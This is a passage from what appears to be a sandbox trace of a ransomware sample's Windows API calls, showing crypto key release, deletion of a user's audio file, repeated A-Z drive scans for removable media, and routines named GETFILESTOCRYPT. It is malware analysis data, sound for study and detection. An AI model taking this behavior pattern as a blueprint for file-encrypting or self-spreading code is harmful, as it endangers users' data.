lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0081.424] CryptDestroyKey (hKey=0x164c2b0) returned 1 [0081.424] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0081.424] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0081.424] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0081.424] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0081.424] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0081.424] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0081.424] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0081.424] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0081.424] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0081.424] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0081.424] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0081.424] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0081.424] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0081.424] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0081.424] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.424] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0081.424] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.424] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0081.425] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0081.425] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0081.425] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.425] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0081.425] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0081.425] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.425] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0081.425] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0081.425] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0081.425] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0081.425] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0081.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0081.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0081.426] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0081.426] CryptReleaseContext (hProv=0x1632100, dwFlags=0x0) returned 1 [0081.426] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.426] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0081.426] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0081.426] FreeLibrary (hLibModule=0x74c60000) returned 1 [0081.426] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.426] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.426] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.432] CloseHandle (hObject=0x3d8) returned 1 [0081.432] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.432] CloseHandle (hObject=0x3c8) returned 1 [0081.441] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.441] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0081.441] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\WM4yQEw.m4a", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\WM4yQEw.m4a", lpFilePart=0x0) returned 0x2e [0081.442] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\WM4yQEw.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\wm4yqew.m4a")) returned 0x20 [0081.442] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\WM4yQEw.m4a", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c630 [0081.442] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\WM4yQEw.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\wm4yqew.m4a")) returned 1 [0081.460] FindNextFileW (in: hFindFile=0x164c630, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0081.461] FindClose (in: hFindFile=0x164c630 | out: hFindFile=0x164c630) returned 1 [0081.462] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0081.462] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0081.462] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0081.462] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0081.462] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0081.462] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0081.462] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0081.462] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.462] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0081.462] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.462] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0081.462] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0081.463] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0081.463] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0081.463] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0081.463] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0081.463] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0081.463] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0081.464] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0081.464] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0081.464] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0081.464] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0081.464] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0081.464] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0081.464] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0081.464] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0081.464] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0081.465] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0081.465] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0081.465] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0081.465] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0081.465] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0081.465] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0081.465] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0081.465] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0081.465] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0081.465] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0081.465] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0081.466] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.466] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0081.466] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0081.466] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0081.466] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0081.466] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.466] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0081.467] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.467] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0081.467] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0081.467] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0081.467] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0081.467] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0081.467] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.467] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0081.467] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.467] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0081.467] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0081.468] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0081.468] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0081.468] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0081.468] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0081.468] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0081.468] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0081.468] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0081.468] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0081.468] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0081.468] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0081.468] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0081.469] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0081.469] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0081.469] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0081.469] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0081.470] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0081.470] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0081.470] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0081.470] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0081.470] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0081.470] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0081.470] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0081.470] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0081.470] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0081.471] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0081.471] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0081.471] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.471] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0081.471] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0081.471] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0081.471] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0081.471] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.471] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0081.471] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.471] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0081.471] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0081.471] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0081.471] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0081.471] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0081.471] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.471] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0081.472] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.472] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0081.472] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0081.472] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0081.472] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0081.472] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0081.472] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0081.472] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0081.472] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0081.472] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0081.473] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0081.473] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0081.473] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0081.473] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0081.473] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0081.473] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0081.474] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0081.474] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0081.474] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0081.474] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0081.474] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0081.474] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0081.474] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0081.475] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0081.475] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0081.475] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0081.475] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0081.475] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0081.475] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0081.475] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.475] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0081.475] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0081.475] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0081.475] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0081.475] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.476] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0081.476] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.476] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0081.476] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0081.476] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0081.476] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0081.476] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0081.476] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.476] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0081.476] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.476] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0081.476] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0081.476] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0081.476] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0081.476] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0081.477] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0081.477] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0081.477] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0081.477] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0081.477] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0081.477] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0081.477] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0081.477] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0081.478] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0081.478] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0081.478] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0081.478] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0081.478] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0081.478] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0081.478] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0081.479] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0081.479] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0081.479] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0081.479] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0081.479] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0081.479] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0081.480] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0081.480] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0081.480] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.480] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0081.480] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0081.480] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0081.480] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0081.480] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf 